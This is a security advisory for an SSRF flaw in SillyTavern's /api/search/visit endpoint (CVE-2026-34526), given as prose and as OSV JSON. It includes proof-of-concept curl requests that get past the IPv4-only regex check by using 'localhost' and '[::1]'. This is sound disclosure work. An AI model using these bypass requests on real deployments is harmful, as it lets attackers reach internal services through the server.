GHSA-WM7J-M6JM-8797
Vulnerability from github – Published: 2026-04-01 21:42 – Updated: 2026-04-01 21:42Details
Distinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched.
In src/endpoints/search.js line 419, the hostname is checked against /^\d+\.\d+\.\d+\.\d+$/. This only matches literal dotted-quad IPv4 (e.g. 127.0.0.1, 10.0.0.1). It does not catch:
- localhost (hostname, not dotted-quad)
- [::1] (IPv6 loopback)
- DNS names resolving to internal addresses (e.g. localtest.me -> 127.0.0.1)
A separate port check (urlObj.port !== '') limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF.
PoC
- Start SillyTavern v1.16.0 normally
- Send requests to compare blocked vs bypassed (requires a valid session cookie or CSRF disabled):
# Blocked — dotted-quad matched by regex
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
-H "Content-Type: application/json" \
-d '{"url": "http://127.0.0.1/", "html": true}'
# Returns: 400 (blocked)
# Bypassed — "localhost" is not dotted-quad
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
-H "Content-Type: application/json" \
-d '{"url": "http://localhost/", "html": true}'
# Returns: 500 (passed validation, fetch attempted, ECONNREFUSED because nothing on port 80)
# Bypassed — IPv6 loopback is not dotted-quad
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
-H "Content-Type: application/json" \
-d '{"url": "http://[::1]/", "html": true}'
# Returns: 500 (passed validation, fetch attempted)
The 400 vs 500 difference confirms localhost and [::1] pass the IP check. The 500 is ECONNREFUSED (nothing listening on port 80), not a validation rejection.
Impact
Server-side request forgery with partial restrictions. An authenticated user can force the server to fetch from internal hosts on default ports (80/443) using hostnames or IPv6 addresses that bypass the IP check. The full response body is returned. Lower severity than a fully unrestricted SSRF due to the port limitation.
Resolution
The issue was addressed in version 1.17.0 by improving IPv6 address validation
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.16.0"
},
"package": {
"ecosystem": "npm",
"name": "sillytavern"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.17.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34526"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T21:42:24Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Details\nDistinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched.\n\nIn `src/endpoints/search.js` line 419, the hostname is checked against `/^\\d+\\.\\d+\\.\\d+\\.\\d+$/`. This only matches literal dotted-quad IPv4 (e.g. `127.0.0.1`, `10.0.0.1`). It does not catch:\n- `localhost` (hostname, not dotted-quad)\n- `[::1]` (IPv6 loopback)\n- DNS names resolving to internal addresses (e.g. `localtest.me` -\u003e 127.0.0.1)\n\nA separate port check (`urlObj.port !== \u0027\u0027`) limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF.\n\n### PoC\n1. Start SillyTavern v1.16.0 normally\n2. Send requests to compare blocked vs bypassed (requires a valid session cookie or CSRF disabled):\n```bash\n# Blocked \u2014 dotted-quad matched by regex\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"url\": \"http://127.0.0.1/\", \"html\": true}\u0027\n# Returns: 400 (blocked)\n\n# Bypassed \u2014 \"localhost\" is not dotted-quad\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"url\": \"http://localhost/\", \"html\": true}\u0027\n# Returns: 500 (passed validation, fetch attempted, ECONNREFUSED because nothing on port 80)\n\n# Bypassed \u2014 IPv6 loopback is not dotted-quad\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"url\": \"http://[::1]/\", \"html\": true}\u0027\n# Returns: 500 (passed validation, fetch attempted)\n```\n\nThe 400 vs 500 difference confirms `localhost` and `[::1]` pass the IP check. The 500 is ECONNREFUSED (nothing listening on port 80), not a validation rejection.\n\n### Impact\nServer-side request forgery with partial restrictions. An authenticated user can force the server to fetch from internal hosts on default ports (80/443) using hostnames or IPv6 addresses that bypass the IP check. The full response body is returned. Lower severity than a fully unrestricted SSRF due to the port limitation.\n\n## Resolution\n\nThe issue was addressed in version 1.17.0 by improving IPv6 address validation",
"id": "GHSA-wm7j-m6jm-8797",
"modified": "2026-04-01T21:42:24Z",
"published": "2026-04-01T21:42:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-wm7j-m6jm-8797"
},
{
"type": "PACKAGE",
"url": "https://github.com/SillyTavern/SillyTavern"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.